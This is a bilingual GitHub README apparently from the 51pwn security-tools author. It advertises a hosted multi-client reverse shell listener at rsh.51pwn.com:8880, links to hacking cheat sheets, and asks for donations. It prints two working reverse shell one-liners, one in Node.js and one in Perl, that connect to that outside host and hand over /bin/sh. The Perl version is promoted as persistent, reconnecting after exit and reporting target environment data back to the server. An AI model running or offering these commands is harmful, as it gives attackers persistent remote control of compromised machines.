README.md

哪里有免费的视频监控报警系统？

demo

我的两首原创音乐

• 夏天《爱的远航》 @QQ音乐
• 夏天《不息的坚持-亭前无女歌》 @QQ音乐

常用

• Web online free video object recognition and early warning
• Your web ips
• Reverse Shells Cheatsheet
• HackTools
• CyberChef
• Reverse Shell Generator
• Chat with Me

自研、自用的一些小工具分享 Sharing some gadgets developed and used by myself

https://github.com/hktalent/bug-bounty/releases

供应链安全研究、验证结束，相关发现已经报告

Supply chain security research and verification are completed, and relevant findings have been reported xtermjs/xterm.js#4857

Free one id Multi-target web netcat for reverse shell

one id Multi-target 免费的web版本 “nc -lnvp 8880” 支持多客户端回连，通过id关联【请勿用于非法活动】

• Site: https://51pwn.com/indexes/xterm.html?id=YourId
• reverse server: rsh.51pwn.com:8880

• 1 one id Multi-target concurrency reverse shell

• 2 setYourId: xxxx_001 ** The id must be sent to the server as soon as the reverse shell connects to the server to facilitate association with your web.（id 必须在reverse shell连接服务器后第一时间发送给服务器，便于和你的web进行关联） ** awesome： It is no longer a simple nc -lnvtp xxx, but can accept several target reverse shells at the same time.（他不再是简单的nc -lnvtp xxx，而是可以同时接受若干目标reverse shell）

• 2 start your reverse shell *** id is a unique identification and association between you and all reverse shell targets（id 是 唯一标识、关联你与所有reverse shell 目标之前的关联、关系） *** The second line is a json data, which can usually be used to collect the target's environment information and feed it back to the server. Of course you can give feedback {}。 第二行是一个json 数据，通常可以用来收集目标的环境信息，反馈给server。当然你可以反馈一个空的{} Note: A good reverse shell will keep reconnecting to the server even if you type exit 注意：一个优秀的reverse shell会吃重要，即便你输入 exit 也会不断重新连接到服务器

node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(8880, "rsh.51pwn.com", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client);client.write("YourId\n{}\n");client.write("{}\n") }); return /a/;})();'

*** 特别推荐下面的命令，经过若干 AI 的优化，可以覆盖 90% 以上的服务器上正确运行, 下面的命令明显比上面的更加优化，即便你关闭浏览器，或者输入exit，下面的代码会自动重新上线

  perl -e 'use Socket;while (1) {socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in(8880,inet_aton("rsh.51pwn.com")))){print S "YourId\n{}\n";open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");if (fork() == 0){exec("/bin/sh -i");}wait();}};'

• open your browser *** 注意后面的id必须和上面的一致 https://51pwn.com/indexes/xterm.html?id=YourId ** 注意，这个时候你什么也没有看见，没错，因为还没有目标连接上来 **

"""

51Pwn-Platform

51Pwn Platform

A Big Data Platform for Information Security Practitioners

ContactMe：https://chat.51pwn.com

Channel：51pwn

Online

Awesome Hacking Online Encoding, Decoding Platform

https://51pwn.com/51pwn/#/

https://51pwn.com/HackTools/

demo

点击看大图

img	img	img	img	img

How use

捐赠1000元即可享受1年服务

Donation

Wechat Pay	AliPay	Paypal	BTC Pay	BCH Pay
		paypal [email protected]